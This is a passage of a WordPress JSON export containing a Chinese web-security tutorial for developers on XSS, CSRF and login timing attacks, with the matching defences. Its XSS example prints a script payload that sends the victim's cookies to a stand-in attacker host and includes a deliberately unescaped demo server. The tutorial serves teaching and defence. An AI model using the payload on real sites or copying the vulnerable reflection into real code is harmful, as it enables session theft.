\u5c31\u662f\u4ee3\u7801\u6ce8\u5165\u3002\u5176\u4e3b\u8981\u601d\u60f3\u662f\u7b2c\u4e09\u65b9\u53ef\u4ee5\u5728\u4f60\u7684\u7f51\u7ad9\u4e0a\u6267\u884c\u4ed6\u4eec\u4e0d\u5e94\u8be5\u6267\u884c\u7684\u4ee3\u7801\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u6ce8\u5165\u793a\u4f8b<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5047\u5982\u4f60\u6709\u4e00\u4e2a\u641c\u7d22\u5b57\u6bb5\u3002\u5728\u8868\u5355\u63d0\u4ea4\u65f6\uff0c\u7528\u6237\u88ab\u91cd\u5b9a\u5411\u5230<code>\/?search=whatever<\/code>\uff0c\u5e76\u4e14<code>search<\/code>\u53c2\u6570\u7684\u5185\u5bb9\u663e\u793a\u5728\u7ed3\u679c\u4e0a\u65b9\u3002\u8fd9\u53ef\u4ee5\u63d0\u9192\u7528\u6237\u4ed6\u4eec\u641c\u7d22\u4e86\u4ec0\u4e48\uff0c\u8fd9\u6837\u7684 UI \u662f\u5408\u7406\u7684\uff0c\u5bf9\u5427\uff1f<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0d\u8fc7\uff0c\u6211\u53d1\u7ed9\u4f60\u7684\u94fe\u63a5\u53ef\u80fd\u5305\u542b<code>\/?search=&lt;script&gt;alert('booh!')&lt;\/script&gt;<\/code> \uff0c\u5982\u679c\u7f51\u7ad9\u6ca1\u6709\u5bf9\u67e5\u8be2\u53c2\u6570\u505a\u8f6c\u4e49\uff0c\u5c31\u4f1a\u770b\u5230\u4e00\u4e2a\u544a\u8b66\u7a97\u53e3\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u597d\u5427\uff0c\u5982\u679c\u4f60\u5df2\u7ecf\u767b\u5f55\u8c37\u6b4c\uff0c\u6211\u5411\u4f60\u53d1\u9001\u4e86\u4e00\u4e2a\u94fe\u63a5\uff0c\u5176\u4e2d\u5305\u542b<code>\/?search=&lt;script&gt;new Image().src=\u201dhttps:\/\/iamtheattacker.me\/steal?session=\"%2bencodeURI(document.Cookie);&lt;\/script&gt;<\/code> \u5462\uff1f<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f60\u7684\u6d4f\u89c8\u5668\u5c06\u8bf7\u6c42<code>iamtheattacker.me<\/code> \u57df\u540d\u4e0b\u6307\u5b9a\u7684 URL\uff0c\u6211\u5c31\u53ef\u4ee5\u628a\u4f60 Cookie\uff08\u6216\u672c\u5730\u5b58\u50a8\uff09\u4e2d\u7684\u6240\u6709\u5185\u5bb9\u90fd\u83b7\u53d6\u5230\u6211\u670d\u52a1\u5668\u7684\u65e5\u5fd7\u4e2d\u3002\u8fd9\u6837\uff0c\u4e0d\u7ba1\u51fa\u4e8e\u4f55\u79cd\u76ee\u7684\uff0c\u6211\u5c31\u53ef\u4ee5\u4f2a\u88c5\u6210\u4f60\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>const http = require(\"http\");<\/code><code>\tconst url = require(\"url\");<\/code><code>\t<\/code><code>\thttp<\/code><code>\t.createServer(function (req, res) {<\/code><code>\tconst params = url.parse(req.url, true).query;<\/code><code>\tres.write(<\/code><code>\t`&lt;html&gt;Searching for &lt;strong&gt;${params.search}&lt;\/strong&gt;.&lt;br\/&gt;Results: ...&lt;\/html&gt;`<\/code><code>\t);<\/code><code>\tres.end();<\/code><code>\t})<\/code><code>\t.listen(8080);<\/code><code><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u590d\u5236\u4ee3\u7801<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e00\u4e2a\u7b80\u5355\u7684\u670d\u52a1\uff0c\u6f14\u793a XSS \u7684\u673a\u5236\uff08\u4ee3\u7801\u6765\u6e90\uff1a<a href=\"https:\/\/github.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">GitHub<\/a>\uff0c\u6587\u4ef6\uff1a<a href=\"https:\/\/gist.github.com\/tadeaspetak\/7f9ea8b2529d90cf30c8c94e39a772f4#file-fullstack-security-xss-js\" target=\"_blank\" rel=\"noreferrer noopener\">fullstack-security-xss.js<\/a>\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\u679c\u4f60\u60f3\u81ea\u5df1\u8bd5\u4e00\u8bd5\uff0c\u4ee5\u4e0a\u662f\u8fd9\u79cd\u60c5\u51b5\u6700\u7b80\u5355\u7684\u4ee3\u7801\u3002\u4f60\u53ef\u4ee5\u5c06\u4e0a\u8ff0\u6709\u5bb3\u7684\u67e5\u8be2\u7c98\u8d34\u5230<a href=\"https:\/\/coibg.sse.codesandbox.io\/\" target=\"_blank\" rel=\"noreferrer noopener\">\u8fd9\u91cc<\/a>\u3002\u5728\u5f00\u53d1\u5de5\u5177\u7684<code>Network<\/code>\u9009\u9879\u5361\u4e2d\uff0c\u4f60\u4f1a\u627e\u5230\u5bf9\u5916\u90e8\u57df\u7684\u707e\u96be\u6027\u8bf7\u6c42\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u4e0a\u9762\u770b\u5230\u7684\u79f0\u4e3a<em>\u53cd\u5c04 XSS<\/em>\u3002\u8fd8\u6709\u5176\u4ed6\u7c7b\u578b\uff0c\u5982<em>\u5b58\u50a8 XSS<\/em>\uff0c\u5b83\u662f\u901a\u8fc7\u5b58\u50a8\u6709\u5bb3\u7684\u4e1c\u897f\uff08\u5982\u5728\u7528\u6237\u7684\u5e16\u5b50\u6216\u8bc4\u8bba\u4e2d\uff09\u6765\u53d1\u8d77\u653b\u51fb\u3002\u4e0d\u8fc7\uff0c\u673a\u5236\u662f\u5b8c\u5168\u76f8\u540c\u7684\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u4f60\u5e94\u8be5\u4e3a\u6b64\u62c5\u5fc3\u5417\uff1f<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u73b0\u5982\u4eca\uff0c\u4f60\u5fc5\u987b\u4e0d\u9057\u4f59\u529b\u5730\u53bb\u505a\u8fd9\u4e9b\u611a\u8822\u7684\u4e8b\u60c5\u3002\u597d\u5728\u6240\u6709\u7684\u73b0\u4ee3\u5316\u5de5\u5177\u90fd<a href=\"https:\/\/github.com\/facebook\/react\/issues\/3473\" target=\"_blank\" rel=\"noreferrer noopener\">\u5728\u540e\u53f0\u4e3a\u4f60\u505a\u4e86\u5927\u91cf\u7684\u89c4\u907f\u5de5\u4f5c<\/a>\uff0c\u6709\u5de5\u5177\u5e2e\u52a9\u4f60<a href=\"https:\/\/github.com\/validatorjs\/validator.js\" target=\"_blank\" rel=\"noreferrer noopener\">\u9a8c\u8bc1\u7528\u6237\u8f93\u5165<\/a>\uff0c\u8fd8\u6709<a href=\"https:\/\/owasp.org\/www-project-web-security-testing-guide\/latest\/4-Web_Application_Security_Testing\/07-Input_Validation_Testing\/01-Testing_for_Reflected_Cross_Site_Scripting\" target=\"_blank\" rel=\"noreferrer noopener\">\u8be6\u7ec6\u7684\u624b\u518c<\/a>\u6307\u5bfc\u4f60\u53d1\u73b0\u53ef\u80fd\u4ecd\u7136\u5b58\u5728\u7684\u6f0f\u6d1e\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7136\u800c\uff0c\u901a\u5e38\u60c5\u51b5\u4e0b\uff0c\u73b0\u4ee3\u5e94\u7528\u7a0b\u5e8f\u6709\u5927\u91cf\u7684\u5916\u90e8\u4f9d\u8d56\u2014\u2014\u60f3\u60f3<code>npm<\/code>\u2014\u2014\u5b83\u4eec\u4e2d\u7684\u4efb\u4f55\u4e00\u4e2a\u90fd\u53ef\u80fd\u4f1a\u8bd5\u56fe\u7a83\u53d6\u654f\u611f\u7684\u6d4f\u89c8\u5668\u6570\u636e\uff0c\u7528\u4e0e\u4e0a\u8ff0\u4f8b\u5b50\u4e2d\u6ce8\u5165\u4ee3\u7801\u5b8c\u5168\u76f8\u540c\u7684\u65b9\u5f0f\u3002\u7531\u4e8e\u4f60\u7684\u5ba2\u6237\u7aef\u4f9d\u8d56\u53ef\u4ee5\u8bbf\u95ee\u672c\u5730\u57df\u4e2d\u7684\u4e00\u5207\uff0c\u6070\u5982\u4f60\u81ea\u5df1\u7684\u4ee3\u7801\u4e00\u6837\uff0c\u6240\u4ee5\u4f60\u5e94\u8be5\u5bf9\u6240\u4f9d\u8d56\u7684\u4e1c\u897f\u4fdd\u6301\u8c28\u614e\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Cookie vs. \u4ee4\u724c<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u5ba2\u6237\u7aef\u4ee3\u7801\u53ef\u4ee5\u8bbf\u95ee\u548c\u4f60\u57df\u540d\u76f8\u5173\u7684 Cookie \u548c\u4ee4\u724c\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bf9\u4e8e\u4ee4\u724c\uff0c\u8fd9\u5f88\u96be\u5904\u7406\u3002\u56e0\u4e3a\u9700\u8981\u624b\u52a8\u5c06 JWT \u653e\u5728<code>Authorization<\/code>\u5934\u4e2d\uff0c\u6240\u4ee5\u4f60\u4e0d\u80fd\u771f\u7684\u62d2\u7edd\u81ea\u5df1\u7684\u4ee3\u7801\u2014\u2014\u4ee5\u53ca\u4e0e\u4e4b\u76f8\u5173\u7684\u4efb\u4f55\u7b2c\u4e09\u65b9\u4ee3\u7801\u2014\u2014\u8bbf\u95ee\u5b83\u3002\u56e0\u6b64\uff0c\u4f60\u5e94\u8be5\u7edd\u5bf9\u786e\u4fdd\u6c38\u8fdc\u4e0d\u4f1a\u8fd0\u884c\u6076\u610f\u4ee3\u7801\uff1b\u4e00\u65e6\u8fd9\u6837\u505a\u4e86\uff0c\u4f60\u5c31\u6210\u4e86\u4ed6\u4eec\u7684\u91d1\u77ff\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u57fa\u4e8e Cookie \u7684\u8ba4\u8bc1\u5728\u8fd9\u65b9\u9762\u7a0d\u5fae\u597d\u4e00\u4e9b\u3002\u4f60\u7684\u4ee3\u7801\u4e0d\u9700\u8981\u64cd\u4f5c<code>sessionId<\/code> Cookie\uff0c\u56e0\u4e3a\u6d4f\u89c8\u5668\u548c\u670d\u52a1\u5668\u5728\u4ea4\u6362\u6570\u636e\u65f6\u4f1a\u81ea\u52a8\u5c06\u5176\u5305\u542b\u8fdb\u53bb\u3002\u51fa\u4e8e\u8fd9\u4e2a\u539f\u56e0\uff0c\u4f60\u53ef\u4ee5\u901a\u8fc7\u5c06\u5176<code>httpOnly<\/code>\u53c2\u6570\u8bbe\u7f6e\u4e3a<code>true<\/code>\u6765\u7981\u6b62 JS \u8bbf\u95ee\u8be5 Cookie\u3002\u8fd9\u4f7f\u5f97\u5b83\u4e0d\u4f1a\u88ab\u4efb\u4f55\u7b2c\u4e09\u65b9\u52ab\u6301\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020\uff08CSRF\uff09<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">CSRF\uff0c\u901a\u5e38\u8bfb\u4f5c <em>sea-surf<\/em>\uff0c\u662f\u4e00\u79cd\u64cd\u7eb5\u7528\u6237\u5411\u4ed6\u4eec\u76ee\u524d\u5df2\u8ba4\u8bc1\u901a\u8fc7\u7684\u5e94\u7528\u7a0b\u5e8f\u63d0\u4ea4\u975e\u9884\u671f\u8bf7\u6c42\u7684\u653b\u51fb\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">CSRF \u793a\u4f8b<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Sherlock \u767b\u5f55\u4e86\u4ed6\u7684\u94f6\u884c\uff0c\u7136\u540e\u6536\u5230\u4e86 Moriarty \u5411\u4ed6\u53d1\u9001\u7684\u4e00\u5c01\u5305\u542b\u94fe\u63a5<code>\/transfer?amount=5000&amp;to=moriarty-1234<\/code>\u7684\u9493\u9c7c\u90ae\u4ef6 \u3002\u5728\u6536\u5230\u8fd9\u6837\u7684\u8bf7\u6c42\u540e\uff0c\u8fd9\u5bb6\u4ee5\u7b80\u5355\u4e3a\u50b2\u7684\u94f6\u884c\u4f1a\u4ece\u5df2\u8ba4\u8bc1\u7528\u6237\u7684\u8d26\u6237\u4e2d\u63d0\u53d6\u53c2\u6570\u4e2d\u7684\u91d1\u989d\uff0c\u5e76\u5c06\u5176\u8f6c\u7ed9<code>moriarty-1234<\/code>\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f53\u5fc3\u4e0d\u5728\u7109\u7684 Sherlock \u70b9\u51fb\u8fd9\u4e2a\u94fe\u63a5\u65f6\uff0c\u4ed6\u7684\u6d4f\u89c8\u5668\u53d1\u9001\u4e86\u4e00\u4e2a Cookie\uff0c\u8868\u660e\u8fd9\u5c31\u662f\u4ed6\uff0c\u800c\u94f6\u884c\u4e5f\u975e\u5e38\u9ad8\u5174\u5730\u5e94\u7b54\u4e86\u3002Moriarty \u8d62\u5f97\u4e86\u8fd9\u573a\u6218\u6597\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8220;\u8fd9\u592a\u75af\u72c2\u4e86\uff01\u201c\u4f60\u8bf4\u5f97\u5bf9\u3002\u5f53\u7136\uff0c\u6ca1\u6709\u4eba\u4f1a\u5728<code>GET<\/code>\u8bf7\u6c42\u4e2d\u66f4\u6539\u72b6\u6001\u3002\u5982\u679c\u4f60\u628a\u5b83\u8bbe\u7f6e\u4e3a<code>POST<\/code>\uff0c\u90ae\u4ef6\u4e2d\u7684\u94fe\u63a5\u5c06\u4e0d\u518d\u8d77\u4f5c\u7528\u3002\u4f46\u662f\uff0c\u5982\u679c Moriarty \u505a\u4e86\u4e00\u4e2a\u4ee4\u4eba\u4fe1\u670d\u7684\u9493\u9c7c\u7f51\u7ad9\uff0c\u4e0a\u9762\u6709\u4e00\u4e2a<code>action<\/code>\u6307\u5411<code>\/transfer<\/code>\u5e76\u968f\u9002\u5f53\u7684<code>body<\/code> \u4e00\u8d77\u53d1\u9001\u7684\u8868\u5355\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u53c8\u56de\u5230\u4e86\u539f\u70b9\u3002\u5728\u63d0\u4ea4\u8868\u683c\u65f6\uff0cSherlock \u7684\u6d4f\u89c8\u5668\u4f1a\u53d1\u9001\u4e00\u4e2a Cookie \u6765\u8bc1\u660e\u4ed6\u7684\u8eab\u4efd\uff0c\u7136\u540e\u94f6\u884c\u5c31\u4f1a\u7ed9 Moriarty \u8f6c\u8d26\u3002\u9b54\u9b3c\u53c8\u8d62\u4e86\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Cookie vs. \u4ee4\u724c<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u6b63\u5982\u4f60\u5728\u4e0a\u4e00\u8282\u4e2d\u6240\u770b\u5230\u7684\uff0cCSRF \u7684\u5371\u9669\u5728\u4e8e\u8ba4\u8bc1\u4fe1\u606f\u88ab\u53d7\u5bb3\u8005\u7684\u6d4f\u89c8\u5668\u81ea\u52a8\u5305\u542b\u5728\u8bf7\u6c42\u4e2d\uff0c\u6ca1\u6709\u4efb\u4f55\u7684\u4ee3\u7801\u5e72\u6270\u3002\u7531\u4e8e\u4ee4\u724c\u4e0d\u5b58\u5728\u8fd9\u6837\u7684\u884c\u4e3a\uff0c\u57fa\u4e8e\u4ee4\u724c\u7684\u8ba4\u8bc1\u4e0d\u5bb9\u6613\u53d1\u751f CSRF\u3002\u800c\u53e6\u4e00\u65b9\u9762\uff0c\u57fa\u4e8e Cookie \u7684\u8ba4\u8bc1\u5219\u975e\u5e38\u5bb9\u6613\u51fa\u73b0\u8fd9\u79cd\u60c5\u51b5\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5982\u4f55\u7f13\u89e3\uff1f<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0b\u9762\u662f\u9884\u9632 CSRF \u7684\u4e00\u4e2a\u7b56\u7565\u7ec4\u5408\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>\u5c06\u7528\u6237\u8ba4\u8bc1 Cookie \u7684<code>sameSite<\/code>\u5c5e\u6027\u8bbe\u7f6e\u4e3a<code>lax<\/code>\u3002\u8fd9\u53ef\u4ee5\u9632\u6b62\u5b83\u5728\u8de8\u7ad9\u8bf7\u6c42\u4e2d\u88ab\u53d1\u9001\uff0c\u4f46\u201c\u5b89\u5168\u201d\uff08\u4e0d\u4fee\u6539\u72b6\u6001\uff09\u7684<code>GET<\/code>\u548c<code>HEAD<\/code>\u9664\u5916\u3002\u6362\u53e5\u8bdd\u8bf4\uff0c\u4e0a\u8ff0\u793a\u4f8b\u4e2d\u7684\u94fe\u63a5\u4ecd\u7136\u53ef\u4ee5\u5de5\u4f5c\uff0c\u4f46\u8868\u5355\u5c31\u4e0d\u80fd\u3002<\/li><li>\u81f3\u5c11\u5728\u6240\u6709\u72b6\u6001\u66f4\u6539\u8bf7\u6c42\u4e0a\u7981\u7528<code>CORS<\/code>\u3002\u8fd9\u6837\uff0c\u7b2c\u4e09\u65b9\u8868\u5355\u5c31\u4e0d\u80fd\u63d0\u4ea4\u5230\u4f60\u7684\u7aef\u70b9\u3002<em>\uff08\u5728 Express \u4e2d\uff0c<\/em><code>cors<\/code><em>\u9ed8\u8ba4\u662f\u7981\u7528\u7684\u3002\u4f46\u662f\uff0c\u4f60\u6709\u591a\u5c11\u6b21\u770b\u5230\u6709\u4eba\u5728\u6574\u4e2a API \u4e2d\u4f7f\u7528<\/em><code>app.use(cors())<\/code><em>\u6765\u542f\u7528\u5b83\uff1f\u5728\u6211\u770b\u6765\u8fd9\u592a\u7b80\u5355\u4e86\u3002\uff09<\/em><\/li><li>\u5728\u4f60\u7684 API \u8bf7\u6c42\u4e2d\u5f3a\u5236\u4f7f\u7528<code>content-type: application\/json<\/code>\uff0c\u65b9\u6cd5\u662f\u5728\u670d\u52a1\u5668\u4e0a\u4ed4\u7ec6\u68c0\u67e5\u62a5\u5934\u3002<\/li><\/ol>\n\n\n\n<pre class=\"wp-block-preformatted\"><code><br><\/code><code>const api = express.Router();<\/code><code>\t<\/code><code>\t\/\/ \u5728\u6240\u6709api\u7aef\u70b9\u4e0a\u5f3a\u5236\u4f7f\u7528\u5185\u5bb9\u7c7b\u578b\u201capplication\/json\u201d<\/code><code>\tapi.use((req, res, next) =&gt; {<\/code><code>\tif (req.headers[\"content-type\"] !== \"application\/json\") {<\/code><code>\tres.status(400).json({ message: \"Invalid content type.\" });<\/code><code>\t} else {<\/code><code>\tnext();<\/code><code>\t}<\/code><code>\t});<\/code><code><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u590d\u5236\u4ee3\u7801<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uff08\u4ee3\u7801\u6765\u6e90\uff1a<a href=\"https:\/\/github.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">GitHub<\/a>\uff0c\u6587\u4ef6\uff1a<a href=\"https:\/\/gist.github.com\/tadeaspetak\/ec3a739548fd242b1d3145e0a43d428f#file-fullstack-security-content-type-ts\" target=\"_blank\" rel=\"noreferrer noopener\">fullstack-security-content-type.ts<\/a>\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4ee5\u4e0a\u7ec4\u5408\u5e94\u8be5\u591f\u7528\u4e86\u3002\u5982\u679c\u4f60\u60f3\u771f\u7684\u63d0\u4ea4\uff0c\u5219\u53ef\u4ee5\u501f\u52a9 CSRF \u4ee4\u724c\u3002\u90a3\u505a\u8d77\u6765\u4e5f\u5f88\u7b80\u5355\uff0c\u771f\u7684\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">CSRF \u4ee4\u724c<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u8ba9\u670d\u52a1\u5668\u4e3a\u6bcf\u4e00\u4e2a\u670d\u52a1\u4e8e App \u7684\u54cd\u5e94\u9644\u52a0\u4e00\u4e2a\u968f\u673a\u7684<code>csrf<\/code>\u4ee4\u724c\uff0c\u5e76\u5c06\u5176<code>sameSite<\/code>\u5c5e\u6027\u8bbe\u7f6e\u4e3a<code>strict<\/code>\uff0c\u8fd9\u610f\u5473\u7740\u5ba2\u6237\u7aef\u5c06\u53ea\u5305\u542b\u6e90\u4e8e\u8fd9\u91cc\u7684\u8bf7\u6c42\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f53\u53d1\u51fa\u654f\u611f\u8bf7\u6c42\u65f6\uff0c\u6bd4\u5982\u63d0\u4ea4\u4e00\u4e2a\u8868\u5355\uff0c\u8ba9\u5ba2\u6237\u7aef\u5728\u8bf7\u6c42\u4e2d\u5305\u542b\u8fd9\u4e2a\u6765\u81ea<code>csrf<\/code> Cookie \u7684\u4ee4\u724c\uff0c\u901a\u5e38\u662f\u5728<code>x-csrf-token<\/code>\u5934\u4e2d\u3002\u7136\u540e\uff0c\u670d\u52a1\u5668\u53ef\u4ee5\u901a\u8fc7\u68c0\u67e5\u62a5\u5934\u503c\u4e0e<code>csrf<\/code> Cookie \u7684\u503c\u662f\u5426\u5339\u914d\u6765\u786e\u4fdd\u8bf7\u6c42\u7684\u6709\u6548\u6027\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>\/\/ \u5728\u63d0\u4f9b\u5e94\u7528\u670d\u52a1\u65f6<\/code><code>\tres.Cookie(\"xCsrfToken\", generateToken(), { maxAge: 1000 * 3600, sameSite: \"strict\" });<\/code><code>\t<\/code><code>\t\/\/ \u5728\u5ba2\u6237\u7aef<\/code><code>\tfetch(url, {<\/code><code>\theaders: {<\/code><code>\t\"content-type\": \"application\/json\",<\/code><code>\t\"x-csrf-token\": getCookie(\"xCsrfToken\") ?? \"\",<\/code><code>\t},<\/code><code>\t});<\/code><code>\t<\/code><code>\t\/\/ \u5728\u6613\u53d7\u5f71\u54cd\u7684\u7aef\u70b9<\/code><code>\tif (!req.headers[\"x-csrf-token\"] || req.headers[\"x-csrf-token\"] !== req.Cookie[\"xCsrfToken\"]) {<\/code><code>\treturn res.status(400).json({ message: \"Invalid CSRF token.\" });<\/code><code><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u590d\u5236\u4ee3\u7801<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uff08\u4ee3\u7801\u6765\u6e90\uff1a<a href=\"https:\/\/github.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">GitHub<\/a>\uff0c\u6587\u4ef6\uff1a<a href=\"https:\/\/gist.github.com\/tadeaspetak\/1881c2e2201887ae4083541090f48134#file-fullstack-security-csrf-ts\" target=\"_blank\" rel=\"noreferrer noopener\">fullstack-security-csrf.ts<\/a>\uff09<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u65f6\u5e8f\u653b\u51fb<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u8ba9\u6211\u4eec\u597d\u597d\u627e\u70b9\u4e8b\u505a\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0b\u9762\u4ee3\u7801\u7684\u5b9e\u73b0\u7ec6\u8282\u5e76\u4e0d\u91cd\u8981\u3002\u4f60\u80fd\u627e\u5230\u4e00\u79cd\u65b9\u6cd5\u6765\u6536\u96c6\u6709\u5173\u7528\u6237\u662f\u5426\u62e5\u6709\u8d26\u6237\u7684\u4fe1\u606f\u5417\uff1f<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>\timport express from \"express\";<\/code><code>\t<\/code><code>\tconst authApi = express.Router();<\/code><code>\t<\/code><code>\tauthApi.post(\"\/session\", async (req, res) =&gt; {<\/code><code>\tconst params: { email: string; password: string } = req.body;<\/code><code>\t<\/code><code>\tif (!req.headers[\"x-csrf-token\"] || req.headers[\"x-csrf-token\"] !== req.Cookie[\"xCsrfToken\"]) {<\/code><code>\treturn res.status(400).json({ message: \"Invalid CSRF token.\" });<\/code><code>\t}<\/code><code>\t<\/code><code>\tconst user = Users.findByEmail(params.email);<\/code><code>\tif (!user || !Users.verifyPassword(params.password, user)) {<\/code><code>\treturn res.status(401).json({ message: \"Invalid credentials.\" });<\/code><code>\t}<\/code><code>\t<\/code><code>\tconst sessionId = generateToken();<\/code><code>\t<\/code><code>\tres.Cookie(\"sessionId\", sessionId, { httpOnly: true, maxAge: 1000 * 3600 * 24, sameSite: \"lax\" });<\/code><code>\tSessions.add({ sessionId, userEmail: user.email });<\/code><code>\t<\/code><code>\tconst response: ApiSessionRes = { email: user.email, name: user.name };<\/code><code>\tres.status(200).json(response);<\/code><code>\t});<\/code><code>\t<\/code><code>\tauthApi.delete(\"\/session\", async (req, res) =&gt; {<\/code><code>\tif (req.Cookie[\"sessionId\"]) Sessions.remove(req.Cookie[\"sessionId\"]);<\/code><code>\t<\/code><code>\tres.clearCookie(\"sessionId\");<\/code><code>\t<\/code><code>\tres.status(200).json({ message: \"Signed out.\" });<\/code><code>\t});<\/code><code>\t<\/code><code>\texport { authApi };<\/code><code><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u590d\u5236\u4ee3\u7801<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uff08\u4ee3\u7801\u6765\u6e90\uff1a<a href=\"https:\/\/github.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">GitHub<\/a>\uff0c\u6587\u4ef6\uff1a<a href=\"https:\/\/gist.github.com\/tadeaspetak\/24cce64fd38d834be85006d09ef133a9#file-fullstack-security-auth-ts\" target=\"_blank\" rel=\"noreferrer noopener\">fullstack-security-auth.ts<\/a>\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u6ca1\u6709\u53d1\u73b0\u8fd9\u6bb5\u4ee3\u7801\u6709\u4efb\u4f55\u95ee\u9898\uff0c\u751a\u81f3\u7b2c\u4e09\u6b21\u770b\u4e5f\u6ca1\u3002\u7136\u800c\uff0c\u5982\u679c\u4f60\u7528\u5927\u91cf\u7684\u8bf7\u6c42\u8f70\u51fb\u670d\u52a1\u5668\u5e76\u5e76\u8ba1\u65f6\uff0c\u5e94\u8be5\u5c31\u4f1a\u53d1\u73b0\uff0c\u5bf9\u4e8e\u4e0d\u5b58\u5728\u7684\u7528\u6237\uff0cAPI \u54cd\u5e94\u5f97\u66f4\u5feb\u4e00\u4e9b\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e3a\u4ec0\u4e48\uff1f\u7b2c 20 \u884c\u7684\u6761\u4ef6\u9700\u8981\u8f83\u957f\u7684\u65f6\u95f4\u6765\u8bc4\u4f30\u73b0\u6709\u5e10\u6237\u3002\u4ee5\u4e0b\u4ee3\u7801\u2014\u2014\u4e3a<code>Invalid credentials<\/code> \u54cd\u5e94\u6dfb\u52a0\u4e00\u4e2a\u968f\u673a\u5ef6\u8fdf\u2014\u2014\u5e94\u8be5\u53ef\u4ee5\u51cf\u8f7b\u8fd9\u79cd\u5439\u6bdb\u6c42\u75b5\u7684\u4fe1\u606f\u6cc4\u6f0f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>const user = Users.findByEmail(params.email);<\/code><code>\tif (!user || !Users.verifyPassword(params.password, user)) {<\/code><code>\tawait new Promise((resolve) =&gt; setTimeout(resolve, crypto.randomInt(11, 111))); \/\/ \u7f13\u89e3\u65f6\u5e8f\u653b\u51fb<\/code><code>\treturn res.status(401).json({ message: \"Invalid credentials.\" });<\/code><code>\t}<\/code><code><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u590d\u5236\u4ee3\u7801<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uff08\u4ee3\u7801\u6765\u6e90\uff1a<a href=\"https:\/\/github.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">GitHub<\/a>\uff0c\u6587\u4ef6\uff1a<a href=\"https:\/\/gist.github.com\/tadeaspetak\/3712f6659c7116f6d137496ebfc25674#file-fullstack-security-auth-timing-ts\" target=\"_blank\" rel=\"noreferrer noopener\">fullstack-security-auth-timing.ts<\/a>\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u91cc\u6211\u8981\u63d0\u4e00\u4e0b\uff0c\u5728\u8fd9\u4e2a\u5b9e\u73b0\u4e2d\uff0c\u6bd4\u8f83\u5b57\u7b26\u4e32\u4e5f\u4f1a\u8ba9\u653b\u51fb\u8005\u731c\u6d4b\u51fa\u4e00\u4e9b\u4ed6\u4eec\u4e0d\u5e94\u8be5\u77e5\u9053\u7684\u4fe1\u606f\u3002\u53ef\u4ee5\u4f7f\u7528 Node.js \u63d0\u4f9b\u7684\u7c7b\u4f3c<a href=\"https:\/\/nodejs.org\/api\/crypto.html#cryptotimingsafeequala-b\" target=\"_blank\" rel=\"noreferrer noopener\">crypto.timingSafeEquals<\/a>\u8fd9\u6837\u7684\u4e1c\u897f\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4f5c\u4e3a\u5f00\u53d1\u8005\u4e00\u5b9a\u8981\u4e86\u89e3\u5230\u7684\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6\u3002<\/p>\n","protected":false},"author":2,"featured_media":286,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"inline_featured_image":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[1],"tags":[],"class_list":[